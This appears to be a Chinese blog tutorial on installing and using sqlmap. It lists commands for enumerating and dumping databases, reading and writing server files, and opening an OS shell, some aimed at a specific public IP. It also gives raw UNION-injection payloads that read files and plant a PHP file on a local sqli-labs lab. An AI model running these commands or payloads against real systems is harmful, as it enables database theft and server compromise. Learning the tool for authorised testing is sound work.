sqlmap的使用

简介: SQLMap是一个自动化的sql注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,甚至还提供了一个字典来将取回来的hash爆破,当然对于真实环境中这爆破功能战斗力基本为0....

1. SQLMap是什么?

在这个数据有价的时代数据库安全已经成为了重中之重,于是就整理了一下最常用的一款数据库安全方面的渗透测试工具sqlmap的使用笔记。

SQLMap是一个自动化的sql注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,甚至还提供了一个字典来将取回来的hash爆破,当然对于真实环境中这爆破功能战斗力基本为0....

SQLMap是使用python写的,因此具有跨平台的特性,并且下载下来解压就可以使用。它依赖于Python 2.x ,请不要安装Python 3.x。

2.准备工作

Python2.7.x

SQLMap

Python 下载地址:https://www.python.org/downloads/

请下载 Python2.7.x 版本

SQLMap 下载地址:http://sqlmap.org/

3.SQLMap安装

1.将下载的SQLMAP安装包解压到文件夹sqlmap中,并拷贝到Python安装路径下目录下;

默认Python的安装路径为“C:\Python27”;

并重命名为sqlmap


安装sqlmap 1

2.创建一个cmd进入python的快捷方式(这步可以不做,只是比较方便启动)

桌面——右键——创建快捷方式

快捷方式命名可随意,不作要求。

右键快捷方式——点击属性

修改起始位置为 sqlmap 文件夹路径

默认的路径为“C:\Python27\sqlmap”;


创建快捷方式 4

4.测试启动SQLMap

双击刚才创建的快捷方式,输入sqlmap.py -h

出现如下信息则表示安装成功


测试启动SQLMap


sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 –dbs  列出有那些库


sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 -D stormgroup -tables  查看stormgroup库下的表单


sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 -D stormgroup -T member –columns  查看member中有哪些列




第三验证工具能否使用


(1)sqlmap.py -u “url”    #检测目标网站是否存在注入

(2)sqlmap.py -u “url” --dbs  #获取对方数据库所有库的名称

(3)sqlmap.py -u “url” -D “security” --tables  #获取security库下的表

(4)sqlmap.py -u “url” -D “securtiy” -T “emails,users” --columns   #获取eamil表,users表中的字段

(5)sqlmap.py -u “url” -D “securtiy” -T “uses” -C “id,username,password” --dump   #导出数据指定数据

(6)sqlmap.py -u “url” --dump-all   #拖库

(7)sqlmap -u "url" --current-user   #获取当前用户名称

(8)sqlmap -u “url” --current-db    #获取当前使用的数据名称

(9)sqlmap -r 1.txt   #指定文件检测注入

(10)sqlmap -u “url” --dbms “mysql” #指定数据库类型进行检测

(11)sqlmap -r 1.txt -p “参数名” #post型注入,-p指定哪个参数注入

(12)sqlmap -u “url” --forms #自动搜索表单 并测试注入

(13)sqlmap -u “url” --dbs -v 4 #显示sqlmap注入的信息

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。

如果你想看到sqlmap发送的测试payload最好的等级就是3


(14)sqlmap -u “url”--tamper unmagicquotes    #检测宽字节注入

(15)sqlmap -u “url” --is-dba    #判断当前用户是否为数据库管理员权限

(16)sqlmap -u “url” --random-agent    #随机UA头

(17)探测等级参数:--level

共有五个等级,默认为1级, 这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

sqlmap.py -u “url” --cookie “cookie value“ --level 2

(18)风险等级参数:--risk

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

(19)sqlmap.py -u “url” --users #列数据库用户

(20)sqlmap.py -u “url” --batch #采用默认配置对提示进行设置

(21)sqlmap.py -u “url” –roles 或者 --privileges  #列用户以及权限

(22)伪静态注入:

使用sqlmap进行伪静态注入

sqlmap -u “www.xx.com/index.php/news/id/203*.html”

sqlmap -u “www.xx.com/index.php/news/id/10*”



进阶使用

?id=-1' union select 1,2,load_file('D:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-1/index.php')--+  


into outfile() #写入文件

payload:

?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'D:/phpstudy/PHPTutorial/WWW/test.php'--+




2.利用sqlmap来操作:


--file-read #读取文件,相当于load_file()


payload:

sqlmap.py - u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --file-read="D:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-1/index.php"





2.利用sqlmap来操作:

--file-write    #写入文件,相当于 into outfile

--file-dest      #写入文件的存放路径

payload:

sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --file-write "D:/phpstudy/PHPTutorial/WWW/test.php" --file-dest "D:\360MoveData\Users\Administrator\Desktop\404.php"




sqlmap -u “url” --os-shell

相关文章
|
内存技术 Perl
MTK DDR不能兼容分析
MTK DDR不能兼容分析
253 0
|
8月前
|
人工智能 前端开发 程序员
通义灵码 AI 程序员全面上线,能和人类协作完成复杂开发任务
1 月 8 日消息,阿里云通义灵码 AI 程序员已全面上线,成为全球首个同时支持 VS Code、JetBrains IDEs 开发工具的 AI 程序员产品。此次上线的 AI 程序员相比传统 AI 辅助编程工具,能力更全面,可以让开发者以更高效、更沉浸的方式完成编码任务,通过全程对话协作的方式,就能完成从 0 到 1 的业务需求开发、问题修复、单元测试批量生成等复杂编码任务。
554 65
|
9月前
|
机器学习/深度学习 人工智能 物联网
操作系统的心脏——深入理解内核机制
在本文中,我们揭开操作系统内核的神秘面纱,探索其作为计算机系统核心的重要性。通过详细分析内核的基本功能、类型以及它如何管理硬件资源和软件进程,我们将了解内核是如何成为现代计算不可或缺的基础。此外,我们还会探讨内核设计的挑战和未来趋势,为读者提供一个全面的内核知识框架。
|
网络协议 文件存储 Docker
如何搭建HomeAssistant智能家居管理平台并实现公网访问内网管理界面
如何搭建HomeAssistant智能家居管理平台并实现公网访问内网管理界面
JumpServer——设置网域列表来访问内网机器
JumpServer——设置网域列表来访问内网机器
322 1
JumpServer——设置网域列表来访问内网机器
|
设计模式 开发框架 前端开发
MVC 模式在 C# 中的应用
MVC(Model-View-Controller)模式是广泛应用于Web应用程序开发的设计模式,将应用分为模型(存储数据及逻辑)、视图(展示数据给用户)和控制器(处理用户输入并控制模型与视图交互)三部分,有助于管理复杂应用并提高代码可读性和维护性。在C#中,ASP.NET MVC框架常用于构建基于MVC模式的Web应用,通过定义模型、控制器和视图,实现结构清晰且易维护的应用程序。
182 2
|
IDE Linux 测试技术
Linux项目自动化构建工具-make/Makefile
Linux项目自动化构建工具-make/Makefile
|
算法 数据挖掘 机器人
【路径规划】基于RRT算法和改进人工势场法的无人机任务规划方法研究(Python代码实现)
【路径规划】基于RRT算法和改进人工势场法的无人机任务规划方法研究(Python代码实现)
605 0
|
应用服务中间件 nginx
cmd 杀掉 nginx后台进程 命令杀掉nginx后台 nginx 常用命令
cmd 杀掉 nginx后台进程 命令杀掉nginx后台 nginx 常用命令
1538 0
【qt】纯代码界面设计
【qt】纯代码界面设计
440 2